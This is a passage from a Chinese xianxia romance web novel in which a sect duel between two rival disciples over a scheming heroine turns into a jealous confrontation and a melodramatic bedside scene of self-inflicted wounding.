李玄白张狂笑起来,在空中轻点数下,凌空飞跃,回身当啷一声,挡下他射到太阳穴旁的珠子。 擂台边缘的周 信看得满头大汗。 原来这些日子,山内二位天之骄子,为了一个女人争抢不休的流言,竟然是真的。 方才,观武台上的衡小姐往台上扔飞镖,少掌门明明注意到了,却睁一只眼闭一只眼,于是他也没敢管。 不想下一秒,那台下的楚姑娘随手提点了玄白师兄两下,少掌门竟然顿时脸色煞白,连大比都不想打了,几乎是站在原地,任人宰割。 甚至,已经被玄白师兄逼到了绝境,却时刻关注着她周身动向,一共才那么几颗本命珠,竟在酣战之时分出一颗,去保护那个女子。 那女子究竟有什么魔力? 周信不由往台下望去。 又一只旋转着的飞镖,悄无声息贴近了她背后。 台上,两人正激战,一片剑光纷繁,呼啸剑气几乎将台上空气都切成碎屑。 顾止掌中却倏地又窜出一颗剔透的珠子,飞掠入空,直奔她脑后那只旋镖。 台上李玄白笑起来,“还有空管其他人?我真是给你脸了。” 那颗闪着光的珠子,将那图谋不轨的飞镖打落下来,不容喘息,再度披甲上阵,钻入空中,径直奔入顾止掌心。 顾止站在擂台内,已是杀意蓬勃。 剑势排山倒海,眸底雷霆滚滚,珠子四散疾射,路数刁钻,几乎将空气钻得千疮百孔。 那样繁眩多变、诡谲异密的飞珠,一时连李玄白也吃不消,六颗本命珠尽数出袖,护在身侧,与来敌敲得叮当作响。 台上,剑气凛然,剑光削晃,珠子飞得仿佛一巢马蜂,只见踪迹,不见本体。 南琼霜在台下,摸着自己光滑的指甲,心下稍安。 顾怀瑾又有了战意了。方才,他那般黯然神伤,几乎已经要缴械投降,却不知为何,又忽然燃起了斗志。 他想赢是好的。李玄白今日带了那蛊虫来,是根本没打算放过他。 他那样性格,她了解,即便嘴上说着想杀李玄白,可是未必真的会杀。 但李玄白说要杀,那就是一定会真的杀。 战局已到了最关键要紧处,两方的剑几乎不曾歇息一刻,黑与白的本命珠在空中混战,飞窜的破风声,坐在观武台上,都令人胆寒。 她转头问伊海川:“你觉得谁会赢?” 伊海川:“我心里自然是偏向大师兄的。大师兄不仅天资卓绝,练得也踏实刻苦,虽则这一个月来暂时放了,难免手生,但毕竟还有此前的底子在。何况玄白师兄也不过大比前辛苦练了一阵,要我说,双方差得并不悬殊。” “只是……” 她挑起眉,“只是?” 伊海川迟疑道,“大师兄素来求稳,凡事爱留许多后手。只是今日,到了这地步,仍有两颗珠子藏于袖中,不曾调动。如要我来看,多少有些留得太晚了。或许这是大师兄的战术。” 南琼霜仔细往台上看去,凝神分辨半晌,最终无可奈何地叹口气。 她不曾练过天山驭珠之术,连观战也不得方法,便是想数珠子的数量,那些珠子纷飞得也太快了些,她数不清楚。 伊海川忽然惊道:“楚姑娘!” 她愕然抬起眼来。 鼻尖之前,不知何时,悬了一颗圆滚滚的、墨一般的珠子。 中间实、边缘虚,浮在空中,虚的部分刚好透出对面群山轮廓,日头底下,映着晃眼的光。 光滑的表面,几乎映出了她的脸孔。 ……什么东西,怎么在这? 周遭忽然一阵潮水般的惊慌恐惧之声,挤在她身边的观战弟子霎时尖叫起来,推搡着退避。 伊海川不知横了什么东西在她身前,但也是徒劳无功,那颗将她脸孔映成鱼眼畸变的小珠子,无声朝她面中扑来,静得堂而皇之。 她睫毛颤了两下,意识到发生了什么。 戒指中的蛛罗丝一秒呼之欲出。 再下一秒,却又堪堪止住。 这样多的人,她是躲,还是不躲? 硬扛? 电光石火间,一颗晶莹剔透的小珠子破风钻来,日光将那小珠子映成五彩斑斓的白。 “当”,一声。 那墨色的小珠子骤然被弹开,流星一般被打回台上,双方在空中搓出一点火星,飘落下来。 饶是南琼霜,也是心有余悸。 抬头,顾怀瑾那颗本命珠已经去奔赴下一个使命,划着弧线,归入他掌心。 她坐在观武台上,一时发起抖来。 伊海川冷汗湿透了后背:“楚姑娘,可有受伤?” 她平缓着呼吸,摇头:“无妨,不必担心。” 说着不必担心,可是方才有多险,她自己最知道。 极乐堂中的人,行走江湖,靠的就是一副好容貌。倘若被那样的流珠直击了面中,她这张脸,今日非毁了不可。 胆敢拿本命珠朝她脸上比划,李玄白,今日找死?! 台上,顾怀瑾一道掌风悍然劈来,轰得李玄白所有的本命珠都在空中后退数寸。 “你他妈疯了,胆敢动她?!” 李玄白认识顾怀瑾已经十数年有余,从未听他吐过一个脏字,听了这话,一时爽快。 “瞧瞧,瞧瞧。我就知道,只要一跟她扯上关系——”忽然手指一动,牵出两片薄刃,浮在空中,骤然朝面前人急刺过去,“——你就出纰漏。” 话音刚落,顾怀瑾咬牙闷哼一声。 两片薄刃霎时染了血,日头底下映着晃眼的光,浮在空中,回了李玄白身侧。 李玄白拈来那两片刀刃,好整以暇地将上面嵌着的本命珠取了下来,刀刃扔到一旁,捏在指间,对着光照了照。 “我又不会真的害她。你那么紧张干什么?”他慢条斯理地笑了,“你这能怪谁?” 顾止捂着小臂,方才那两片飞刃,趁他不注意,割开了他的衣袖,伤及皮肉,如今白衣已经洇出一些红色的血来。 皮肉伤倒是小事。 不过—— 他伤口里,进了东西。 活的,异物,他不用想也知道是什么。 铁青着脸,他自袖中取出一只金环,咬牙箍在小臂末端,调节收紧。 李玄白一见那金环,登时笑了,“噢,今日是有备而来。是她告诉你的,还是你自己查出来的?” 顾怀瑾:“你以为这么些年,你做过什么事,山内当真不清楚吗?” 李玄白赞同颔首,两手一摊,“那么,感恩少掌门网开一面,给我也留了面子。” 顾止冷哼一声。 忽然,脸色痛苦万分,似乎站都站不稳,捂着小臂,缓缓地半跪在地。 李玄白懒倦收剑入鞘,太阳将他影子映得斜而尖长,整个平坦空旷的比武台上,唯有他一人身影如一把直立的刀,无坚不摧,也无人镇得住。 “对了,告诉你件事。” “她送我的那个同心结,我烧了。” “你猜怎么着?她不生气。” “而且,还要跟我下山。” “你若是——” 话就停在这里,没有余下的字。 李玄白仰着头,双眼涣散,缓缓栽倒下去。 对面,顾怀瑾放开了自己手臂,太阳穴青筋暴突,人却冷静得可怕,面沉如水,站直起身。 擂台边缘,周信嘘——地吹响了骨哨。 观武台霎时一片掌声雷动,喝彩如潮。 前头,太阳自山谷中升起,山影与日光将整个比武台割为两半,李玄白失神倒在泛蓝的阴影中。 太阳光底下,顾怀瑾衣袍跃动着雪光,站在李玄白脚前,淡淡瞥了一眼,不置一词,转身离场。 台上,李玄白一双眼渐渐恢复了清明,看见了头顶一片湛蓝的天。 周遭一片喧哗欢呼声,他躺在地上,缓缓地想。 妈的,竟然连顾怀瑾这小子,近来都学会了玩阴的。还跟他装上病了? 他就说那蚰蜒蛊,怎么会发作得如此之快。 要不是他反应快,今日怕是已经被他的珠子,凿穿了后脑。 他气得笑了,想,这种阴招,是不是那个女人教会的? * 观武台上。 胜负已分,南琼霜答应过他看完了这一场便回去,于是站起了身。 伊海川:“我送姑娘去卧龙寺。” 南琼霜点头应允:“谢过伊师兄。” 从观武台的台阶上一阶一阶下去,她垂头避过来往的人,忽然莫名感觉远处,有人在看她。 她回身一望。 看台上,众人之间,衡黄撑腮,若无其事地收回了目光。 她耸耸肩,无所谓地笑了笑。 还惦记着她呢?这山上,不止男人抓了她不放,连女人也抓了 她不放。 有点意思。 她不在乎,从容如常随在伊海川身侧,由着他将她领上一条水上回廊。 山上天气变幻无常,方才比武台上还艳阳高照,这一会,竟然起了些山雾。白茫茫雾气贴着山体,不凑近看,简直看不出山岩嶙峋。 水面上,雾气浩渺。木回廊表面凝了一层晶莹水珠,人步行其上,感觉鞋袜都快沾湿了,走上去,吱吱地响,滑得厉害。 伊海川:“姑娘小心。” 她双手交叠在小腹,长吸了一口气,“好。” 伊海川不是善谈热络的性格,走在这样看不清前路的雾里,两人一时无话,她心里有些闷闷的,跳得厉害。 一会的事,她想起来,便头痛。 今日一天,顾怀瑾大致已经气得快吐血了。原本在观武台上去点个卯都依依不舍,牵着她的手在袖中摸了又摸,结果回来就见到她拿着支弄山月,跟李玄白在一起说笑。 一起闹到菩提阁,以少掌门之位相要挟,才终于保下她。结果转头就听说,她要同李玄白一起下山了,他甚至是最后一个得知的。 山上大比,她替李玄白指暗器,似乎还被他在台上看了个正着,也不知他在那样的战势里,究竟是如何百忙之中分神出来看她的。 他本来就是那样一个患得患失的性子,她日日被锁在房里陪他的时候,多碰了那支弄山月一下,他都要心痛万分,磨着她问为什么。 如今可倒好,在他的逆鳞上来了一整套葵花点穴手,又将人晾在一边,一整天连个说话的机会也没有,逼得他站在擂台上连比也不想比,同她对望。 那个眼神,她如今想来,是差点直接冲下来,晾着对手、晾着裁断、晾着阖山弟子,不顾一切地要下台,到她面前,抓住她质问。 她缓缓闭上眼睛,心里一种不得不听天由命的难安。 她是惯于敷衍男人的。只要这些男人正常,她总有办法。 可是顾怀瑾,真的不大正常。他并不是外表看起来那样进退有度、明晰事理、从容不迫、游刃有余,他甚至完全相反,是个焦虑敏感、动辄钻牛角尖、极度自我压抑之人。 这样的人,平时忍着,便是波澜不惊。倘若当真忍不住,爆发起来,那便是地动山摇,山呼海啸。 如今,毫无疑问,是一定要爆发了。 她简直不敢想夜里会发生什么。 她原本,只是想要一个吻,以及要他留她下山。 别的…… 她揉着眉心。别的,她目前还给不了。死也不能给。 前头,伊海川忽然停了下来。 她的心仿佛被人投入湖中,失重又冰冷,扑通一声。 她缓缓抬起头来。 李玄白靠着廊柱,抱着肩膀,一条腿曲着蹬在柱子上。 神色阴戾又恶劣:“想去哪啊?” 伊海川抱拳:“奉大师兄之命,带楚姑娘……” 话未说完,被李玄白一把拨开。 李玄白躬身在她脸前,逼视着她一双黑白分明的眸子,眼里蓄着苦辣毒意,如竖起毒刺的蝎子般剑拔弩张,一字一句道: “你给我过来。” 第70章 “你什么意思?” 山雾茫茫,附在皮肤上,一阵潮湿的冷,黏得人烦躁难安。 她有点不耐,“你怎么在这?” 李玄白:“下台之后,又跑去把那泼婆娘揍了一顿。揍完,她那个侍女哭着说别去什么卧龙寺了,径直回房。我就知道,她害完我,下一个就是你,直接就来了。” 原来是衡黄派来的人,南琼霜垂眸笑了一笑。 “怎么?这时候又想着帮我了?谁让你来?” “什么叫谁让我来?你要出事,我来看看还成了错了?” 南琼霜笑而不语,冷瞥他一眼,径直回头,转身急走。 方才,伊海川想陪她在此,被李玄白两脚踹跑了,眼下大约是已经回去寻顾怀瑾通报了。 倘若不早些甩开李玄白,若是被顾怀瑾撞个正着,她今晚才是叫天不应,叫地不灵。 她道:“既如此,我回去了。从这里回暮雪院怎么走?” “你什么意思?”他语气已经不善至极,直接拉住她胳膊,不容她离开。 李玄白高出她不少,周身气场锐不可当,压着眼睫质问她的时候,几乎连那颗鲜艳的小耳坠都能刺痛人。 望着他那不善眉目,南琼霜冷蔑笑笑。 “我什么意思?”她眯着眼道,“你也敢问。” “我有什么不敢问的?你今天把话给我说清楚。”李玄白抬脚,别到她面前,绝不肯再放她往前走一步,“你敢帮那个姓顾的?” “我帮那个姓顾的?说得好像你就帮了我一样。”她笑起来,“你都敢拿珠子在我脸上比划,我没帮他杀了你,已经是格外开恩。” “你少这样跟我说话。”李玄白抱着肩膀,靠在一旁的柱子上,“我不过诈他一下,怎么会真伤你?” “不伤我就可以拿着珠子悬在我鼻尖上吗?”她笑,“珠子都到我眼前了,只是没伤我,我是不是还得感谢你?” 她径直跨过他挡在她面前的腿,快走几步,踏在凝了一层水珠的木回廊上,脚步声发闷。 “给我回来!”身后,李玄白几步追上她,又拉住了她的胳膊。 她扭着胳膊,瞬间甩开。 “皎皎!”李玄白紧跟了几步。 李玄白似乎从来没拿这个名字唤过她。要叫她,一直是半揶揄半挑衅的“楚皎皎”。 她余光冷瞥了一眼身后的人,没理。 “你去哪?”他又握住了她的胳膊。 “跟你有什么关系?”她不耐已极,“你说我去哪?谁在等我?你猜不出来?” 李玄白看着她那甚至懒得掩饰的偏袒,一时惊而不甘,胸口起伏了几回,终于还是忍下。 他笑,“生气了?我今天没帮你,还用你诈他,所以生气了?” 她又将他拨开,只是自顾自往前走。 “好了——对不起。”李玄白拉着长声拉住她,“别生气了,皎皎。” “滚。” 李玄白“啧”了一声,气得笑了,“你这态度……你知不知道,小爷我这辈子,你是第一个得了我一句抱歉的?” “那又怎么?”她回身笑了一声,“那只能说明你这人差劲极了,不能说明你的抱歉值得我珍惜。” 李玄白一时语塞,平日里骂衡黄衡青南都如连珠炮的人,竟然不知说什么好。 只是,她当真发起怒来的时候,整个人如一片刻着霜花纹的薄薄冰刃,晶莹、冷漠、薄情,锋利得触手见血,不可亵玩。 貌美逼人,不可直视。 他一时恍神,情不自禁地伸出手指,拨了拨她的小耳坠。 被她“啪”地一下用手打开。 “滚开!”她冷笑,“不是除了你自己,谁都可以利用?除你自己以外,谁的感受都不在乎?除了你自己的死活,别人是生是死都无所谓?” “既然如此,还在这里假惺惺地演什么?你倒好意思来找我兴师问罪?” 李玄白噙着抹混不吝的笑,垂下头想了一阵,再抬起头来的时候,带了些懒洋洋的服软。 “别生气了,是我不好。”他去拨她的碎发,“我今日没考虑你的感受。” “今日?”她咬重了这两个字,“你何止是今日。你根本是一个从不考虑别人感受的人。莫说今日,明日、明年、后年,你都绝不会考虑我。” 李玄白听她这话,一时气笑了,“对,你说得没错。但是楚皎皎,”他语气骤然变得阴险,“——你不是跟我一样?” “倘若是你,会冒着坏自己好事的风险,来救我吗?” “倘若是你,将我牵连其中便可成了自己好事,你会不这么做吗?” “倘若是你,只要利用我便可达成自己的目的,你会不利用吗?” 三句话,问得南琼霜怔在原地,半晌未答。 许久,她有 点好笑地发觉,似乎也并不会。 她和李玄白,倘若径直挖到心窝里面最深一层,竟然是一模一样的两个东西。 这确实有点意思,南琼霜当即笑出了声。 李玄白一瞧她那反应,顿时也笑了,倒是不恼,叉着腰,“咱们两个,哪有一个是好东西?谁嫌弃谁啊。” 两个唯有彼此知根知底的恶人,众人之间,一个眼神就懂彼此。除了对方,被再多人簇拥围绕,也不会显露一点真面目,给出一点真心。 别说,听起来,还真有点缘分。 他怎么这样懂她? “对啊,”她心里不想轻放过他,但这突然的发现实在太有趣,她简直忍不住笑,“但是,我可不曾说过爱你。” “爱?”李玄白笑起来,“这个字太重,我不需要。我只需要一点喜欢。” 他挑起一边眉毛,眼神耐人寻味如密林内的深潭,幽幽看不见底: “你喜欢我吗?” 南琼霜与那眼神相对,倦懒笑了一笑,兴致缺缺地垂下眼睫。 “你希望我喜欢你?”她道。 李玄白应的倒干脆:“对。” 她笑出声,“那你说,我们两个,究竟是谁喜欢谁?” 李玄白默了一瞬,顿时如一只动了怒但暂且忍耐的狮子一般。 “一点也没有?” 她不答,只是似笑非笑,伸出手,缓缓地,在他唇上,揉了一下。 一双眼睛,深深笑着,明知冒犯但恣意,一种习以为常的有恃无恐。 ——她惯有的那种,亲昵的挑衅。 李玄白只感觉太阳穴跳了两跳。 妈的,真是被她吃死了,闹得眼下这样被动。 他一把握住她胳膊将她搂在身前,捧着她的脸,垂下眼睫就去衔她的唇。 她也没说什么,勾着一丝笑意,阖了眼。 却在唇凑近的前一秒,他僵住了。 南琼霜两片唇心情很好地勾起来,唇瓣牵扯向两边,一道险恶又旖旎的弧度。 指尖垂挂着一个松松垮垮的小网兜,手臂长伸,一直伸到栏杆外,山间寒泉之上。 水声潺潺,她眼睫上都垂挂了些雾气凝成的露珠,眼神却不怯不弱,饶有兴致又悠然自在地睨着他,挑了挑眉。 那个小网兜,是她的蛛罗丝临时编成的。 ——里面,浑圆闪亮的,尽是他那些宝贝不已的本命珠。 她望着他那双凶意暴涨的眼睛,见怪地笑了一声,“都知道我是恶人了,怎么还这样不设防。” 挑眉,凑近他耳畔,轻轻道: “该不会是留给我的吧?” 李玄白一时一个字也说不出。 但是,一个字没有,她也瞧得出,他恨不得将她生吞活剥。 巧了。 他生气时,她才喜欢。 他们是不是连这一点都一样? 她食指在他起伏不停的胸膛上,搔痒一般画着圆圈,“对呀,我不是什么好东西。所以,即便我们是同类,你怎么能期望我与你感同身受呢?” “既然我们是同类,你最应该明白呀。”她凑到他下巴颏底下,他发怒的鼻息拂在她发顶,已经可以称之为喷薄,她越发笑了起来,抬眸,迎上他垂下的濒临暴怒的双眼: “我们,只考虑自己。不管我们是不是同类——” “——你今天惹了我不高兴,就得还。” 说完,指尖一撤,那小网兜顷刻往下直坠。 李玄白一步跨到栏杆边,开掌,讥诮笑着,“你不会以为——” 南琼霜抬手,立时射出一道瞧不清楚只余残影的暗器,将那堪堪上浮数寸的小网兜,顿时打落,继续下坠:“你不会以为——我不知道你们会驭珠吧?” 扑通一声,本命珠入水。 李玄白神色顿时如风雨欲来般难看。 她委屈鼓了下腮,“哎呀,掉了。去捡吧?再不捡,冲跑啦。” 他不说话,但全身肌肉都紧绷着,咬着牙,下颌骨绷成一条直线,简直如一头濒临狂暴的猛兽。 他那个脾气,怒成这个样子,谁都会怕。 除了她。 南琼霜伸出一根食指,顺着他的下巴颏,满意又自得、暧昧而轻蔑地刮,摸过他绷紧的下颌线,最后,堂而皇之地,按在了他软软的唇间。 “你知道,平时的你,我不喜欢的。” 她垂眸说着,一双眼张狂又恶劣,仿佛暴风雪天气肆无忌惮的雪妖。 “但是,唯有这种时候,你生气的时候……” 她抬起眼,眼底一片愉悦的玩弄,轻笑起来: “……我会喜欢。” 李玄白垂下眼,只觉得虽然喘得急了些,但头脑还算冷静。 ——冷静到,他无比清晰地意识到,眼前这个人,倘若不给她点颜色瞧瞧,日后她还会一而再、再而三地蹬鼻子上脸。 他太阳穴青筋怦怦跳动,却笑了起来,一把将人抵在廊柱上,不容反抗,掐着脖子,吻了上去。 ——顾怀瑾听了伊海川的报信,从菩提阁匆匆赶来,见到的,就是这副场面。魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 70-80 第71章 “皎皎。” 南琼霜睁开眼睛,心里咯噔一下。 顾怀瑾站在木回廊内,身后随着十数侍卫,长剑在手,垂着眼眸。 水面上白雾混混吞吞,几乎将他整个人尽数淹没,他站得并不远,可是,竟也不大瞧得清他的表情。 甚至,连他周身的情绪,都分不大清。 越无法辨明,越叫人心惊胆战。 哪怕是生气也好啊。 她立时将李玄白推远了一些,可是手刚放上他胸膛,忽然又见李玄白垂首盯着她。 那种眼神,渴欲灼灼,兴致勃勃,盯着她仿佛瘾君子骤然瞧见了成瘾的药,浓烈到狂热。 眼尾一颗小小泪痣,一双狐狸眼惊心动魄,望着她,何止是兴致盎然。 南琼霜心里冷笑一声。 她说什么来着,李玄白这厮就喜欢跟他对着干的。顺着他来,他就觉得没意思,不惯着他,他反而心痒难耐,抓心挠肝。 “皎皎,在看什么?”顾怀瑾忽然问。 她的心猛地颤了颤,往旁挪了半步,从李玄白几乎烫人的视线里让出来,“怀瑾……。” “过来,皎皎。” 他声音仍是如此温柔。 她刚要举步,余光竟瞥见李玄白仍追着她凝望,她稍微一动,他便不依不饶侧首瞧她。 前头,顾怀瑾将一切瞧在眼里,目光轻飘飘地落在她身上,意义难明。 她如芒在背,胳膊上起了一层细细的鸡皮疙瘩。 “师弟在看什么?”顾怀瑾朝她伸出手,自然而然地将她温柔牵到身侧,相握的手,掌心冰凉。 李玄白抱着肩膀,目光仍不闪不避地胶着在她脸上,流连不去,手指一下一下在胳膊上敲着,顾怀瑾的话,只是充耳不闻。 顾怀瑾不动声色地将她拉到身后,挡在她面前。 李玄白隔着顾怀瑾与她对望,笑了一声,“胆儿挺大啊,真是给你惯的。” 顾怀瑾垂首,平静如常地看了一眼身侧的人。 南琼霜简直连呼吸都放轻了,闭了闭眼。 她在李玄白面前展露出的真面目,绝不能叫顾怀瑾瞧见。 她惊怯地揪住了顾怀瑾的衣袖:“怀瑾。” “嗯。”他淡淡地应。 这时候,才看见他衣袖已经划破了一个大口子,里面的小臂青筋凸起、青紫一片,血从袖子边缘滴答、滴答砸在地上。 她吞咽了一下:“怀瑾,你受伤了。” “嗯。”他垂着眸。 她所有的话,他都只用一个音节来回应。 她仿佛已经上了断头台,趴在下面的木板上,徒劳地听见头顶刀刃缓缓升起。 实在是受不了这种窒息感,她去摇他的袖子:“怀瑾,不要生气。” “我没有生气。”他总算肯多吐了几个字,从袖中拿出他的帕子,递到她面前,“擦擦。” 面前李玄白噗嗤一笑,偏开头强忍。 顾怀瑾瞥了他一眼,神色如常,声音平稳: “李玄白多年在山上大比中违背山规、私带蛊虫,致山上弟子十数人死亡。今日不必奉慧德长老之令,以少掌门令牌捉拿李玄白,押入逝水大牢,无赦不得出。” 吩咐身后侍卫:“带下去。” 逝水牢,无赦不得出? 那岂不是当真要把人关死了? 她又捏了捏袖中顾怀瑾的手:“怀瑾,他……” 顾怀瑾静静递来一个寒凉眼神。 她顿时止住了话。 那样的眼神 ,对视一秒,就冻彻骨髓,连她这样戏弄人心的好手,都不由忌惮起来。 他哪里用这样的眼神看过她? 完了,她今天晚上是完了,这人本来就不正常。如果聪明,她不能再多说一个字。 她心惊胆战地亡羊补牢,在袖中缓缓摩挲他的手。 顾怀瑾连看都没有看她一眼。 “抓我?”对面,李玄白表情依旧一派漫不经心,转了身,踩在回廊栏杆上,“没时间,不奉陪了。” 顾怀瑾:“抓!” 一声令下,身后十数侍卫霎时出动,冲向踩在栏杆上的人。 那样多的侍卫,李玄白连眼皮都没撩一下,蓄力弓身,在栏杆上一蹬,最后回眸笑看了她一眼: “你完了,给我等着。” 然后,纵身跃入茫茫山雾,听得水声扑通,人入了水。 那十余个侍卫顿时自回廊绕下去抓他,一时人突然散尽了,山雾中唯有他两人并肩站着。 没有人说话。 不远处山鸟在枝头上鸣啼了两声,叫得她心里发紧。 顾怀瑾牵着她转了身:“我们回去吧,皎皎。” “嗯。” 一路无话。 这一路,竟然不是回暮雪院,而是带着她,又回了菩提阁。 她一见菩提阁就头痛,想听他解释为何又来此,可是他自从在回廊中见到她,就没再同她说过十个字以上的话。 她仰头看他,只见他神色依旧淡得看不清楚心绪,长睫压着眼眸,仿佛落雪的伞面,似乎并不觉得需要解释什么。 她咽下心中不安,没敢问。 连她自己都没想到,如今,她竟然开始怕他。 这次入菩提阁,却没有进那摆着珠帘与罗汉床的厅堂,而是上了阁楼,入了里面一间卧房。 卧房里一张架子床,铺着绛红色锦衾,地上摆着树枝状的灯台,一墙明烛,荧荧摇曳,满室生辉。 外面变了天。方才大比时还艳阳高照,这一会,天边已是浓云滚滚,乌云黑压压蓄在远处山头上,树枝却犹自静着,连鸟鸣都没有一声。 顾怀瑾牵着她,依旧是一个字也没有多说,自顾自坐在了床边,把她牵来身侧。 “我中了蛊,师叔叫我在此处治伤,说是拿了蛊虫,即刻交与他。” 她忐忑望向他那已经肿胀不堪、血管暴突的小臂,心里想,早上他叫她起来的时候,他那小臂,还那样精健干净。 忽然却又瞧见,他似乎不止是小臂受了伤,连下腹,白衣也洇出了一些刺目的红血。 “怀瑾,你……”她急着伸手,想去碰他那层叠长袍中鲜红的一块,却被他握着手腕攥住了。 垂着眼,放开手,不看她,也什么都没同她说。 他牵着她不松手,一面掀开衾被,自顾自上了榻。 她实在是受不了这般煎熬又忐忑的沉默了,明知今夜山雨欲来,可是却偏偏一个字也不说,一点脾气也不发,仿佛暴风雨前难捱的宁静,闷热又窒息。 她松开他的手要走:“我去给你打盆热水。” 顾怀瑾将她的手瞬时握回来:“这种事情,何必皎皎来做。陪我在这里等待屈术先生吧。” 不放她走,可是依旧不看她,也不肯同她多说一句话。 不能在这继续待下去了,一座不知何时会喷发的火山,早晚要喷发,她不如等爆发后再进来,免得遭两回罪。 她固执拨开他的手,转身要出去。 胳膊却马上被死死攥住。 那样大的力气,他何曾用在她身上过,简直要将她小臂都咔吧一声掰折了。 “皎皎。”他道,“才刚回来,就又要走?” 她背对着他,闭了闭眼。 “去哪。”他将她一寸寸拉回到榻边坐着,完好的那一只胳膊伸过来,静静摩挲她的长发,“又要去哪。我受伤了。” 他那支中了蛊虫的胳膊,如今已经肿胀如山峦。一只金环卡在手肘上,已经显得细如金丝,深深陷进肉里。 青筋暴起,肉里似乎有什么在突突跳动。 她的心跟着一跳。 明明已经提醒过,李玄白带了蛊虫。 她将他那支胳膊轻轻拿过来,仔细看着,拇指小心摸着他的手腕:“疼吗?” 他支着身子坐起来,垂首静静看她,似乎伤是一点也不在意,一颗心都在她身上吊着。 他声音很轻:“皎皎心疼我吗?” 两相对视,他的眼睛不容她有片刻偏离,她道:“当然。” “是吗?”他拎起她一缕长发,垂眸吻下来,“那么,明明见到我受伤了,为何伊师弟要领你来见我,你偏要留在那里同他说话,请了几次三番,都不来呢?” 伊海川没有几次三番来请她,不过是想留下陪她,被李玄白两脚踹走了,只好去寻他报告。 可是,他偏要如此理解。 他语气越温柔,她心里越打鼓,将男童、卧龙寺还有衡黄、李玄白之事同他解释了一通。 末了,他道:“既如此,也不能怪皎皎。” 他垂着眸,自床头柜里摸出一把匕首,在烛火上平静烤了烤:“其实,我本也什么都不怪皎皎。我喜欢皎皎,皎皎不喜欢我,这样的事——” 刀光一闪,刀锋霎时整片没入他那中了蛊虫的小臂之中,深得只余一丝银寒的刀背: “——原本也怨不得别人。” 她吓了一跳,“怀瑾!”去挡他那握着匕首的手。 “怎么了,皎皎?”他抬起头,平静地疑惑,“我不过是要找找蛊虫。” “不是说要等屈术先生吗?”眼看着那乌血迸溅满床,他雪白衣襟霎时洇开一圈杂乱的黑红,满室檀香和着腥气,她急道,“你自己动刀做什么?” 他闻言,望着她眼睛,静静望了一刻,然后笑了。 “原来这时候,皎皎就会心疼我了。怎么?只有我在你面前的时候,皎皎会心疼我;我若是不在,受什么伤,皎皎就都无所谓,是吧。” 他拎起她一缕长发,垂眸吻着,“既如此,以后我受伤,会挑皎皎看不见的地方。” 她简直不敢相信。 垂眼一看,他那肿得老高的小臂骤然被划开,一股乌血小喷泉似的涌着,满床衾被渐渐都洇湿了,带着他的体温,一股湿热。 一点小血花溅在他玉雕般的脸上,他阖眼,管也不管,只是吻她的头发。 “你……”她急了,莫名其妙地把自己划成这样,说是要找蛊虫,可是划开后就放着血如泉涌,仿佛跟他无关似的,“你别在这发疯了,我去叫屈……” 刚起了身,又被他拉着胳膊,牵回来。 甚至,将人牵了回来还不够,坐在榻边也不够,一直将她拉得屈膝上了榻,一步步跪爬着依偎到他怀里,他那支完好的胳膊搂着她,阖眼轻吻着她额头。 “皎皎……”他喟叹着。 “你说,我的血这么一直放着,三日后你同李玄白一起下山……是你先见不到我,还是我先见不到你?” 满室血腥气,几乎将她喉咙声音都锈住。 “怀瑾……”那样多的血,她简直不敢想他还能挺多久,挣扎着,“你别……我去给你叫人。你别再乱……” “去哪啊?去哪?”他笑起来,附在她耳畔轻而低地呵声,“我让你走了吗?我死了是我的事。你担心什么?皎皎不是向来也不管我死活的?” 他那些气声扑在她耳廓,一阵酥麻蜿 蜒直入了她脊椎,她鸡皮疙瘩一直起到胸腹,哆嗦起来。 “我死了,皎皎想我吗?”他沾了血污的手指,爱昵地替她拢好耳畔碎发,“像我想皎皎那样想吗?还是会吃了忘忧散忘了我?还是会吃了忘忧散之后下山,跟他成婚?” 他自言自语嗤笑了一声,“成婚。”去吻她颤抖的长睫,“皎皎,我放你下山,是为了让你自由,可不是为了放你跟他成婚的。” “我没有要……”她被他按在怀里,吻密密落在耳畔,“我没有要跟他成婚,那是他自说自话。我不过是想……吃过忘忧散后,怕什么都记不清,孤身下山不安全,才想着要同他结伴的。下了山后就分道扬镳了。” “分道扬镳。”他语气愈发愉悦起来,“方才木回廊内,他看皎皎的眼神,皎皎看明白了吗?他喜欢你喜欢得不得了。他肯放你分道扬镳吗?” 垂眸,吻上她脖子,仿佛野兽低下头去咬断猎物的气管。 “巧了……我也是。” 脖颈上温热又柔软的触感,两片湿润的唇,在她皮肤上缠绵地贴。 她仿佛溺水的人一般喘不过气,徒劳仰起头。 他吻着她,竟然吮./吸起来,在唇./舌间暧昧玩弄,她仿佛全身感官都被剥夺了,缓缓地、一点一点,陷进潮湿又迷离的沼泽里。 “没力气了?”他感到她渐渐软在怀里,愈发满意起来,“原来皎皎喜欢我这样吻你。” 她这辈子最怕被人猜透心思,倒吸一口冷气,强推开他,“你别闹了!你看看你……” 血流成河,他抱着她,她整个裙摆几乎都被他的血洇透了,“你疯了吗?你这个样子还不赶快止血,在这里……” “我不这个样子,皎皎会多看我一眼吗?”他一点也不容她退远,又将人搂了回来,把她按在自己颈窝里,“我都这个样子了,皎皎还惦记着他呢。人都被我打入大牢了。” “我是要去——” “——你以为,我还会再被你骗吗,皎皎?” “说着不和李玄白说话,也答应了我不碰那支弄山月。等到我回来一看,拿着那支箫,跟他说笑呢。” “说想要自由,想要下山,想要自己的人生。原来是想和他一同下山啊,皎皎,这就是你想要的人生。” “说着有话对我说,说看完大比就回,说回来以后哄我,安慰我,说找到一把新扇子。” 他眼睛里直直落下两行薄红的泪,淌到下巴尖: “对,然后,帮他对付我,我在台上受了伤,你连看也没看,问也不问,伊海川几次三番来请,怎么叫也不来,原来是忙着和他……” 这回,他讲那两个字咬了出来: “……接吻呢。” 她顿时感觉脖颈上烙了两排含恨的牙印。 “皎皎。”他磨蹭着她的额头,屋外忽然一阵连绵惊雷,轰然劈落,屋内闪烁着惨白的白昼,映得他脸色如鬼般可怕: “……跟他接吻,是什么感觉?” 窗外雷鸣滚滚,一阵骤风将一切吹得偏弯,她闭上眼睛,听见他血液涌流的声音,还有他粗重的呼吸。 她仰在他臂弯里,回答不上,方才被他吻得麻了,一时也起不来。 这么劝,也不听,她懒得伺候了:“……这么想知道,你去找他,自己试试。” 上头的人笑了一声。 下一秒,脸上砸了两颗带着血腥气的泪,顺着脸颊直直滑落。 两片柔软的唇,毫无任何阻隔地,骤然贴在她唇瓣上,蹭着她的嘴唇,含在唇间吮弄、碾磨,衔她的唇珠,咬她的上唇,又揉捏她的下唇。 那种暴风雨般混乱的吻法,简直不肯放过任何一寸。 她难以呼吸,“唔”了一声。 